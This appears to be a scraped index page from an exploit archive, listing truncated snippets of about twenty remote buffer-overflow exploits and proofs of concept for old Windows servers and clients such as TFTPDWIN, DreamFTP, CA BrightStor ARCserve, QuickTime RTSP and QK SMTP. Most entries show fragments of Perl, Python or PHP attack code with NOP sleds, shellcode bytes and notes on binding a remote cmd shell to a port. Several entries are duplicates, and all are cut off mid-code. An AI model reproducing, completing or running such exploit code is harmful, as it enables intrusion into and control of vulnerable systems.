TFTPDWIN 0.4.2 Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ============================================= TFTPDWIN 0.4.2 Remote Buffer Overflow Exploit ============================================= !/usr/bin/perl -w use IO::Socket; if!$ARGV1 print "Usage: tftpdwin-0-4-2.pl \n\n"; exit; $victim =...

BolinTech DreamFTP (USER) Remote Buffer Overflow PoC

No description provided by source. / BolinTech DreamFTP USER buffer overflow The server does not correctly handle format string so sending a command like USER %13000 let us own EDX. Other values can also affect EAX & ECX &...

ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow (1)

ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow 1 !/usr/bin/perl -w use IO::Socket; if!$ARGV1 print "Usage: tftpdwin-0-4-2.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='udp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "Cannot connect to $ARGV0 sulla porta $ARGV1"; my...

ProSysInfo TFTP Server TFTPDWIN 0.4.2 - Remote Buffer Overflow (1)

!/usr/bin/perl -w use IO::Socket; if!$ARGV1 print "Usage: tftpdwin-0-4-2.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='udp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "Cannot connect to $ARGV0 sulla porta $ARGV1"; my $nop0="\x90"x15; 8BC3 MOV EAX,EBX 66:05 1201 ADD AX,112 50 PUSH EAX C3 RETN...

Mercur Messaging 2005 - IMAP Remote Buffer Overflow

!/bin/perl tested on win2k server SP4 English ATTENTION! If you have an another valid account you must change the offsets this is only a poc use IO::Socket::INET; my $host = shift@ARGV; my $port = 143; my $reply; my $request; my $user = "test"; my $pass = "test"; my $nop = "\x90"x8; my $nop1 =...

BolinTech DreamFTP (USER) Remote Buffer Overflow PoC

Exploit for unknown platform in category dos / poc ==================================================== BolinTech DreamFTP USER Remote Buffer Overflow PoC ==================================================== / BolinTech DreamFTP USER buffer overflow The server does not correctly handle format...

BolinTech DreamFTP Server - 'USER' Remote Buffer Overflow (PoC)

/ BolinTech DreamFTP USER buffer overflow The server does not correctly handle format string so sending a command like USER %13000 let us own EDX. Other values can also affect EAX & ECX This is only a POC but code execution is possible usage: dreamftp.exe ip port Coded by Marsu / include...

WinZip 9.0 - Command Line Remote Buffer Overflow

source: https://www.securityfocus.com/bid/22020/info WinZip is prone to a remote buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input before copying it into an insufficiently sized buffer. An attacker may exploit this issue to cause denial-of-service...

CA BrightStor ARCserve Backup - Message EngineTape Engine Remote Buffer Overflow

CA BrightStor ARCserve Backup - Message EngineTape Engine Remote Buffer Overflow source: https://www.securityfocus.com/bid/22005/info Computer Associates BrightStor ARCserve Backup is affected by a remote buffer-overflow vulnerability because the application fails to perform proper bounds-checkin...

NaviCOPA Web Server 2.01 (GET) Remote Buffer Overflow Expl meta

Exploit for unknown platform in category remote exploits ================================================================== NaviCOPA Web Server 2.01 GET Remote Buffer Overflow Exploit meta ================================================================== This file is part of the Metasploit...

Multiple PDF Readers - Multiple Remote Buffer Overflows

Multiple PDF Readers - Multiple Remote Buffer Overflows source: https://www.securityfocus.com/bid/21910/info Multiple PDF readers are prone to multiple remote buffer-overflow vulnerabilities because the applications fail to bounds-check user-supplied data before copying it into an insufficiently...

CA BrightStor ARCserve (tapeeng.exe) Remote Buffer Overflow Expl

Exploit for unknown platform in category remote exploits =================================================================== CA BrightStor ARCserve tapeeng.exe Remote Buffer Overflow Exploit =================================================================== !/usr/bin/python Remote exploit for...

CA BrightStor ARCserve - tapeeng.exe Remote Buffer Overflow

CA BrightStor ARCserve - tapeeng.exe Remote Buffer Overflow !/usr/bin/python Remote exploit for buffer overflow vulnerability in CA BrightStor Arcserve tapeeng.exe service. Tested on windows 2000 SP4. Binds shell to TCP port 4443 Winny M Thomas ;- Author shall bear no responsibility for any screw...

Apple QuickTime RTSP URI远程缓冲区溢出漏洞

Apple QuickTime是一款流行的媒体播放程序。 Apple QuickTime处理RTSP URI存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 问题存在于rtsp:// URL处理器上，通过提供特殊的字符串rtsp://随机+ 冒号 + 299 字节填充和负载，使用HTML, Javascript或者QTL文件诱使用户解析，可导致基于堆栈的缓冲区溢出，可导致任意指令执行。 Apple QuickTime Player 7.1.3 目前没有解决方案提供： http://www.apple.com/quicktime/ !/usr/bin/ruby...

Durian Web Application Server远程缓冲区溢出漏洞

Durian Web Application Server是一款WEB应用服务程序。 Durian Web Application Server不正确处理畸形请求，远程攻击者可以利用漏洞对应用程序进行拒绝服务或缓冲区溢出攻击。 提交超长请求可导致缓冲区溢出，或者提交畸形请求可显示1000个访问冲突对话框而造成拒绝服务攻击。 Durian Web Application Server 3.02 目前没有解决方案提供： http://sourceforge.net/projects/durian/ //Durian Web Application Server 3.02 freeware f...

Apple QuickTime (Windows 2000) - 'rtsp URL Handler' Remote Buffer Overflow

!/usr/bin/python Port bind exploit for apple quicktime rtsp vulnerability Tested on windows 2000 SP0 and SP4 with quicktime 7.1.3.100. Should be easy to port the exploit to others. All one needs to do is look for the appropriate jump address. Certain characters are not permitted in the shellcode...

QK SMTP 3.01 - RCPT TO Remote Buffer Overflow (2)

QK SMTP 3.01 - RCPT TO Remote Buffer Overflow 2 !/bin/perl https://www.securityfocus.com/bid/20681 tested on winXp Pro SP0 English/winXp Pro SP2 Italian/win 2k SP4 Italian/English return address is universal bind a remote cmd.exe on target host on 4444 port; based on expanders original exploit...

QK SMTP <= 3.01 (RCPT TO) Remote Buffer Overflow Exploit (pl)

Exploit for unknown platform in category remote exploits ============================================================= QK SMTP = 3.01 RCPT TO Remote Buffer Overflow Exploit pl ============================================================= !/bin/perl http://www.securityfocus.com/bid/20681 tested on...

Durian Web Application Server 3.02 Remote Buffer Overflow Exploit

Exploit for unknown platform in category remote exploits ================================================================= Durian Web Application Server 3.02 Remote Buffer Overflow Exploit ================================================================= http://sourceforge.net/projects/durian/ /...

Durian Web Application Server 3.02 - Remote Buffer Overflow

Durian Web Application Server 3.02 - Remote Buffer Overflow http://sourceforge.net/projects/durian/ / errorreportingEALL; $address = "192.168.1.3"; $serviceport = "4002"; $shellcode = "\xeb\x1b". "\x5b". "\x31\xc0". "\x50". "\x31\xc0". "\x88\x43\x59". "\x53". "\xbb\x6d\x13\x86\x7c". //WinExec,...